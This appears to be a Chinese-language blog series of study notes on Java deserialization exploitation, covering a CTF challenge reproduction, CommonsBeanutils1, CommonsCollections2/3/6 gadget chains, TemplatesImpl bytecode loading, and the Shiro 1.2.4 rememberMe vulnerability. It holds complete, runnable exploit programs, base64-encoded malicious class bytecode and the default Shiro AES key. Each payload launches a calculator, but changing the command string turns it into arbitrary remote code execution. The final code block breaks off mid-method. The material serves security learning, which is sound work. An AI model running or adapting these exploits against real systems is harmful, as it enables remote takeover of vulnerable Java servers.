在之前我们说过。在使用 java.reflect.Proxy 动态绑定一个接口时,如果调用该接口中任意一个方法,会执行到 InvocationHandler#invoke 。执行invoke时,被传入的第一个参数是这个proxy对象,第二个参数是 被执行的方法名,第三个参数是执行时的参数列表。

AnnotationInvocationHandler 就是一个 InvocationHandler 接口的实现,我们看看它的invoke 方法:

if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class)

根据这句来看,方法名等于equals且只有一个Object类型参数时,会调用equalImpl方法

找到equals方法调用链

会经常调用equals的场景就是集合set。set中出储存的对象不允许重复。所以在添加对象的时候会涉及到比较操作

我们查看Hashset的readObject方法。

image-20210812110448790

可见,这里使用了HashMap,将对象保存在HashMap的key处来做去重。最后调用了put

image-20210812110459296

这个变量i就是所谓的哈希。只有两个不通对象的i相等时候。才会执行到key.equals(k)

接下来我们就要让proxy对象的哈希值,等于TemplateImpl对象的哈希值

梳理思路

  • 首先生成恶意TemplateImpl对象
  • 实例化AnnotationInvocationHandler对象,它的type属性是一个TemplateImpl类,它的memberValues属性是一个Map,Map只有一个key和value,key是字符串 f5a5a608 , value是前面生成的恶意TemplateImpl对象
  • 对这个 AnnotationInvocationHandler 对象做一层代理,生成proxy对象
  • 实例化一个HashSet,这个hashset有两个元素 TempateIpml对象,proxy对象。
  • 将HashSet对象序列化

流程跟踪

首先打断点调试,进入Hashset的readObject方法。

image-20210812112636165

然后进入hashMap的put函数,计算第一个hash

image-20210812114718544

设置第一个hash

image-20210812112840439

然后再次进入put

经过计算,第二个hash和第一个相同,调用了equals函数。由于动态代理特性进入invoke方法

image-20210812113117581

所以会调用TemplatesImpl中的所有方法。

image-20210812113539301

然后就是之前分析过的执行字节码的老一套了

image-20210812113725712

前言

国赛决赛上有一道ezj4va的题目,当时是0解。最近学习了java,所以来复现一下

环境搭建

直接拿题目当时给的源码搭建。有好哥哥以及帮我们传了一份源码到GitHub

https://github.com/liey1/timu/blob/main/ciscn%20ezj4va.zip

拿到源码后起一个IDEA,当作题目环境

image-20210810155533219

有个Main文件,启动这个文件。题目环境就搭好了。

访问http://127.0.0.1:8081/即可

原理这几篇文章分析的挺好,我就不分析了

https://forum.butian.net/share/337

http://w4nder.top/?p=497#ciscn2021_final_ezj4va

攻击

在文件夹下写Calc.java

package ciscn.fina1.ezj4va;

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class Calc implements Serializable {
    public Calc() {
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        System.out.println("Serializable readObject");
        Runtime.getRuntime().exec("calc");
    }
}

image-20210810155857680

编译一下。获得Calc.class

我们将Calc.class编译。然后拿去base64一下

image-20210810160646874

得到了字节码的base64。写入文件。

最终exp

package ciscn.fina1.ezj4va;


import org.aspectj.weaver.tools.cache.SimpleCache;
import ciscn.fina1.ezj4va.domain.Cart;
import ciscn.fina1.ezj4va.utils.Serializer;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;
public class exp {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static String getskus(){
        try {
            Cart cart = new Cart();
            HashMap hashMap = new HashMap<>();
            String str = "yv66vgAAADQANQoAAgADBwAEDAAFAAYBABBqYXZhL2xhbmcvT2JqZWN0AQAGPGluaXQ+AQADKClWCQAIAAkHAAoMAAsADAEAEGphdmEvbGFuZy9TeXN0ZW0BAANvdXQBABVMamF2YS9pby9QcmludFN0cmVhbTsIAA4BABdTZXJpYWxpemFibGUgcmVhZE9iamVjdAoAEAARBwASDAATABQBABNqYXZhL2lvL1ByaW50U3RyZWFtAQAHcHJpbnRsbgEAFShMamF2YS9sYW5nL1N0cmluZzspVgoAFgAXBwAYDAAZABoBABFqYXZhL2xhbmcvUnVudGltZQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsIABwBAARjYWxjCgAWAB4MAB8AIAEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsHACIBABdjaXNjbi9maW5hMS9lemo0dmEvQ2FsYwcAJAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABlMY2lzY24vZmluYTEvZXpqNHZhL0NhbGM7AQAKcmVhZE9iamVjdAEAHihMamF2YS9pby9PYmplY3RJbnB1dFN0cmVhbTspVgEAA29pcwEAG0xqYXZhL2lvL09iamVjdElucHV0U3RyZWFtOwEACkV4Y2VwdGlvbnMHADABABNqYXZhL2lvL0lPRXhjZXB0aW9uBwAyAQAgamF2YS9sYW5nL0NsYXNzTm90Rm91bmRFeGNlcHRpb24BAApTb3VyY2VGaWxlAQAJQ2FsYy5qYXZhACEAIQACAAEAIwAAAAIAAQAFAAYAAQAlAAAAMwABAAEAAAAFKrcAAbEAAAACACYAAAAKAAIAAAAIAAQACQAnAAAADAABAAAABQAoACkAAAACACoAKwACACUAAABOAAIAAgAAABKyAAcSDbYAD7gAFRIbtgAdV7EAAAACACYAAAAOAAMAAAAMAAgADQARAA4AJwAAABYAAgAAABIAKAApAAAAAAASACwALQABAC4AAAAGAAIALwAxAAEAMwAAAAIANA==";
            byte[] code = Base64.getDecoder().decode(str);
            hashMap.put("Calc.class", code);
            setFieldValue(cart,"skuDescribe",hashMap);
            return Serializer.serialize(cart);
        } catch (Exception e) {
            e.printStackTrace();
        }
        return "";

    }
    public static String getOldCart(){
        try{
            Cart cart = new Cart();
            Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
            Constructor constructor = clazz.getDeclaredConstructors()[0];
            //获得org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap类的构造方法
            constructor.setAccessible(true);
            Object o = constructor.newInstance("./target/classes/ciscn/fina1/ezj4va", 1);
            setFieldValue(cart,"skuDescribe",o);

            return Serializer.serialize(cart);
        }catch (Exception e){
            e.printStackTrace();
        }
        return "";
    }
        public static String getCalc(){
        try {
            Calc calc = new Calc();
            return Serializer.serialize(calc);
        }catch (Exception e){
            e.printStackTrace();
        }
        return "";
    }
    public static void main(String[] args){
        System.out.println(getskus());
        System.out.println(getOldCart());
        System.out.println(getCalc());

    }
}

记录好payload后我们删除exp.java和Calc.java。换原一个原本的题目环境。然后启动

image-20210810161348055

在body处传入skus,注意要url编码。在value处传入cart。

image-20210810162605509

可以看到成功进入writeToPath函数并写文件。

image-20210810162652159

然后成功触发RCEimage-20210810162727732

参考:https://forum.butian.net/share/337

CommonsBeanutils1利用链分析

反序列化调用链

ObjectInputStream.readObject()
    PriorityQueue.readObject()
        PriorityQueue.heapify()
            PriorityQueue.siftDown()
                siftDownUsingComparator()
                    BeanComparator.compare()
                        TemplatesImpl.getOutputProperties()
                            TemplatesImpl.newTransformer()
                                TemplatesImpl.getTransletInstance()
                                    TemplatesImpl.defineTransletClasses()
                                        TemplatesImpl.TransletClassLoader.defineClass()
                                            Pwner*(Javassist-generated).<static init>
                                                Runtime.exec()

了解Apache Commons Beanutils

Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通Java类对 象(也称为JavaBean)的一些操作方法。

比如这是一个最简单的JavaBean类

final public class Cat {
    private String name = "catalina";
    public String getName() {
        return name;
    }
public void setName(String name) {
        this.name = name;
    }
}

它包含一个私有属性name,和读取和设置这两个方法,又称为getter和setter。其中getter的方法名以get开头,setter的方法名以set开头,全名符合骆驼式命名法(Camel-Case)。

commons-beanutils中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任 意JavaBean的getter方法,比如:

PropertyUtils.getProperty(new Cat(), "name");

可以直接调用getName方法。获得返回值。此外还支持通过PropertyUtils.getProperty(a, "b.c");的递归方式获取。通过这个方式,使用者可以很方便地调用任意对象的getter。

我们需要找的是可利用的java.util.Comparator对象。

而在这里就有一个org.apache.commons.beanutils.BeanComparator

image-20210809162127570

我们来看下它的compare方法。

这个方法传入两个对象,如果 this.property 为空,则直接比较这两个对象;如果 this.property 不 为空,则用 PropertyUtils.getProperty 分别取这两个对象的 this.property 属性,比较属性的值。

那么,有什么getter方法可以执行恶意代码呢?

这个方法就是前面找到的TemplatesImpl#getOutputProperties()方法。它的内部调用了TemplatesImpl#newTransformer()也就是经常用来执行恶意字节码的方法。而这个方法正好是get开头。

所以PropertyUtils.getProperty(o1, property);

当o1是一个TemplatesImpl对象,而property的值为outputProperties时,将会自动调用getter,执行TemplatesImpl#getOutputProperties()方法。

反序列化利用链构造

首先还是创建TemplateImpl

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][]{clazzBytes});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后实例化我们刚开始讲的BeanComparator

final BeanComparator comparator = new BeanComparator();

然后用这个comparator实例化优先队列PriorityQueue

final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
queue.add(1);
queue.add(1);

所以最终exp

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.beanutils.BeanComparator;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CB1 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception
    {
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{
                ClassPool.getDefault().get(EvilTemplatesImpl.class.getName()).toBytecode()
        });
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        final BeanComparator comparator = new BeanComparator();
        final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
// stub data for replacement later
        queue.add(1);
        queue.add(1);

        setFieldValue(comparator, "property", "outputProperties");
        setFieldValue(queue, "queue", new Object[]{obj, obj});

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();


        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();


    }
}

image-20210809165401123

成功弹出计算器

利用流程

image-20210809170207668

首先进入PriorityQueuereadObject方法。

然后跟进

image-20210809170705977

进入siftDown方法

image-20210809170735768

image-20210809170757169

然后来到了BeanComparatorcompare方法

image-20210809170815322

然后就是执行TemplatesImpl加载字节码的过程

image-20210809171045185

CommonsCollections2利用链分析

在在commons-collections中找Gadget的过程其实可以简化为,找一条从Serializeable#readObjectTransformer#transform()的方法的调用链。

在CC2中的两个关键类:

  • java.util.PriorityQueue
  • org.apache.commons.collections4.comparators.TransformingComparator

首先java.util.PriorityQueue这个类是有一个自己的readObject方法。

image-20210809151608974

从这里开始调用,到org.apache.commons.collections4.comparators.TransformingComparator中有调用transform()方法的函数。现在来跟一下。

image-20210809151752719

从这里进入了heapify()

image-20210809151816903

然后进入siftDown

image-20210809151843913

siftDown中调用了siftDownUsingComparator

image-20210809151926562

这里调用的comparator.compare

其实就是TransformingComparatorcompare()方法

image-20210809152851696

这里面含有transform方法。

EXP:

import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import java.util.Comparator;
import java.util.PriorityQueue;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
public class CC2 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new
                        Object[] { "getRuntime",

                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new
                        Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { "calc.exe" }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);
        Comparator comparator = new TransformingComparator(transformerChain);

        PriorityQueue queue = new PriorityQueue(2, comparator);
        queue.add(1);
        queue.add(2);
        setFieldValue(transformerChain, "iTransformers", transformers);



        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();


        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }
}

执行成功后弹出计算器

image-20210809153550994

Shiro RememberMe 1.2.4反序列化漏洞分析

首先我们用P神的环境搭建一个最简单的shiro demo

JavaThings/shirodemo at master · phith0n/JavaThings · GitHub

如果我们登录,就会产生一个remeberMe的cookie

image-20210806161240808

对此,我们的攻击过程如下:

1.使用之前学过的CommonsCollection利用链生成反序列化payload

2.使用Shiro默认Key进行加密

3.将密文作为rememberMe的Cookie发送给服务端

以下是用到的exp

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;


public class CommonsCollections6 {
    public byte[] getPayload(String command) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] { String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class,
                        Object[].class }, new Object[] { null, new Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class },
                        new String[] { command }),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        // 不再使用原CommonsCollections6中的HashSet,直接使用HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);

        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");

        outerMap.remove("keykey");

        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();

        return barr.toByteArray();
    }
}

Client0.java

import org.apache.shiro.crypto.AesCipherService;
import org.apache.shiro.util.ByteSource;
public class Client0 {
    public static void main(String []args) throws Exception {
        byte[] payloads = new CommonsCollections6().getPayload("calc.exe");
        AesCipherService aes = new AesCipherService();
        byte[] key =
                java.util.Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
        ByteSource ciphertext = aes.encrypt(payloads, key);
        System.out.printf(ciphertext.toString());
    }
}

加密的过程中,直接使用shiro内置类 org.apache.shiro.crypto.AesCipherService进行加密。

如果把生成的字符串直接作为remenberMe传入,发现其实并没有执行命令。

根据P神的说法,如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。因为用到了Transformer数组

构造不含数组的反序列化Gadget

所以这就需要之前说到的TemplatesImpl了。我们之前知道,可以通过下面的代码执行Java字节码

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());
obj.newTransformer();

回顾以下,在CC6中,我们用到了一个类TiedMapEntry,其构造函数接受两个参数,参数1是一个Map,参数2是一个对象key。TiedMapEntry 类有个 getValue 方法,调用了mapget方法,并传入key:

public Object getValue() {
    return map.get(key);
}

当这个map是LazyMap时,就是触发transform的关键点

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

我们以往构造CommonsCollections Gadget的时候,对 LazyMap#get 方法的参数key是不关心的,因为 通常Transformer数组的首个对象是ConstantTransformer,我们通过ConstantTransformer来初始化 恶意对象。

但是此时我们无法使用Transformer数组了,也就不能再用ConstantTransformer了。此时我们却惊奇 的发现,这个 LazyMap#get 的参数key,会被传进transform(),实际上它可以扮演 ConstantTransformer的角色——一个简单的对象传递者。

我们再来看一下Transform数组

Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(obj),
    new InvokerTransformer("newTransformer", null, null)
};

new ConstantTransformer(obj)这一步完全是可以去除了,数组长度变为1.那么也就不需要数组了。

改造CC6为CC_Shiro

首先是创建TemplatesImpl对象。

TemplatesImpl obj = new TemplatesImpl();
setFieldValue(obj, "_bytecodes", new byte[][] {"...bytescode"});
setFieldValue(obj, "_name", "HelloTemplatesImpl");
setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

然后我们创建一个用来调用newTransformer方法的InvokerTransformer,

再把老的CC6链代码复制过来。

然后将TiedMapEntry的第二个参数key,改为前面创建的TemplatesImpl对象:

Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformer);
TiedMapEntry tme = new TiedMapEntry(outerMap, obj);
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
outerMap.clear();

完整代码:https://github.com/phith0n/JavaThings/blob/master/shiroattack/src/main/java/com/govuln/shiroattack/CommonsCollectionsShiro.java

image-20210809143836946

这一个Gadget其实就是ysoserial/CommonsCollectionsK1.java at master · zema1/ysoserial · GitHub

经过测试,这个payload可以在java任意版本使用。

这个其实就是shiro550的原理。

shiro550的修复其实就是key被换掉了。

CC3

之前我们学习了cc1的链和TemplatesImpl。那我们其实可以把两边综合一下,即可改造出一个可以执行任意字节码的CC链。只需要这样修改即可

Transformer[] transformers = new Transformer[]{
 new ConstantTransformer(obj),
 new InvokerTransformer("newTransformer", null, null)
};

完整代码如下

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.TransformedMap;

import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class CC3 {
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }

    public static void main(String[] args) throws Exception {
        byte[] code = Base64.getDecoder().decode("yv66vgAAADQAQgoACwAnCQAoACkIACoKACsALAoALQAuCAAvCgAtADAHADEKAAgAMgcAMwcANAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAUTEhlbGxvVGVtcGxhdGVzSW1wbDsBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcANQEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAGPGluaXQ+AQADKClWAQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHADMHADEBAApTb3VyY2VGaWxlAQAXSGVsbG9UZW1wbGF0ZXNJbXBsLmphdmEMAB4AHwcANgwANwA4AQATSGVsbG8gVGVtcGxhdGVzSW1wbAcAOQwAOgA7BwA8DAA9AD4BAARjYWxjDAA/AEABABNqYXZhL2lvL0lPRXhjZXB0aW9uDABBAB8BABJIZWxsb1RlbXBsYXRlc0ltcGwBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAoACwAAAAAAAwABAAwADQACAA4AAAA/AAAAAwAAAAGxAAAAAgAPAAAABgABAAAACwAQAAAAIAADAAAAAQARABIAAAAAAAEAEwAUAAEAAAABABUAFgACABcAAAAEAAEAGAABAAwAGQACAA4AAABJAAAABAAAAAGxAAAAAgAPAAAABgABAAAADQAQAAAAKgAEAAAAAQARABIAAAAAAAEAEwAUAAEAAAABABoAGwACAAAAAQAcAB0AAwAXAAAABAABABgAAQAeAB8AAQAOAAAAiAACAAIAAAAeKrcAAbIAAhIDtgAEuAAFEga2AAdXpwAITCu2AAmxAAEADAAVABgACAADAA8AAAAeAAcAAAAPAAQAEAAMABIAFQAVABgAEwAZABQAHQAWABAAAAAWAAIAGQAEACAAIQABAAAAHgARABIAAAAiAAAAEAAC/wAYAAEHACMAAQcAJAQAAQAlAAAAAgAm");
        TemplatesImpl obj = new TemplatesImpl();
        setFieldValue(obj, "_bytecodes", new byte[][]{code});
        setFieldValue(obj, "_name", "HelloTemplatesImpl");
        setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[] { Templates.class },
                        new Object[] { obj })
        };

        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        innerMap.put("value", "xxxx");
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

        Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
        construct.setAccessible(true);
        InvocationHandler handler = (InvocationHandler) construct.newInstance(Retention.class, outerMap);

        setFieldValue(transformerChain, "iTransformers", transformers);
        // ==================
        // 生成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(handler);
        oos.close();

        // 本地测试触发
        // System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

image-20210806104537737

成功执行字节码

image-20210806115321304

我们从readObject跟踪一遍,首先进去AnnotationInvocationHandler断点readObject方法。

image-20210806131731340

进到这里,有set方法。触发了回调。

image-20210806134257023

之后进入setValue。触发了transform的回调过程

image-20210806134530154

继续往下跟,发现进入

image-20210806140401971

然后调用了我们构造的这个类的构造方法

image-20210806140543857

进来之后就执行newTransformer方法

image-20210806140620244

继续跟进就很明朗了

image-20210806140848263

防止忘记,我们再把调用链放出来看一下

TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses()
-> TransletClassLoader#defineClass()

然后要进入的是getTransletInstance

image-20210806143630230

进入这里,判定为true,进入defineTransletClasses

image-20210806143749201

最终调用了defineClass,成功调用bytecode

image-20210806143827340

成功加载我们的字节码

image-20210806144004302

其中,这里有个小细节:这里进行了判断,该类必须为 com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet 的子类

image-20210806144617738

这样_transletIndex才能赋值为0,下一步才能运行。因为它默认是设置成-1的。image-20210806145957355

否则就会在这里抛出错误

image-20210806150108499

之后在这里可以运行我们的恶意字节码

image-20210806150136986

最终弹出了计算器

image-20210806145352384

改进

不过这样也有缺陷。因为这个只能在Java 8u71以下版本使用。因此我们对他进行改造。

我们知道,之所以cc1在高版本中不能用了其实是 sun.reflect.annotation.AnnotationInvocationHandler#readObject代码逻辑变化了。

解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get() 的地⽅。

image-20210806145406912

我们现在把JDK换成高版本的。已经无法弹出计算器了。

利用TemplatesImpl加载字节码

首先我们写一个恶意类:

public class Calc{

    public Calc() throws Exception {
        Runtime.getRuntime().exec("calc");
    }
    public static void main(String[] args){}
}

将其编译后,再base64编码

import java.io.*;
import sun.misc.*;
public class base64 {
    public static void main(String[] args) {
        try {
            FileInputStream fileForInput = new FileInputStream("C:\\C\\Markdown\\Java\\Maven\\target\\classes\\Clac.class");
            String content = new String();
            byte[] bytes = new byte[fileForInput.available()];
            fileForInput.read(bytes);
            content = new BASE64Encoder().encode(bytes);
            System.out.println(content);
            fileForInput.close();
            String str = content;//编码内容
            byte[] result = new sun.misc.BASE64Decoder().decodeBuffer(str.trim());
            RandomAccessFile inOut = new RandomAccessFile("C:\\C\\Markdown\\Java\\Maven\\target\\classes\\Clac.class", "rw");
            inOut.write(result);
            inOut.close();
        } catch (Exception ex) {
            System.out.println("wrong");
        }
    }
}

这样就得到了字节码的base64

利用ClassLoader#defineClass直接加载字节码

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class App {
    public static void main(String[] args) throws Exception {
        Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
        defineClass.setAccessible(true);
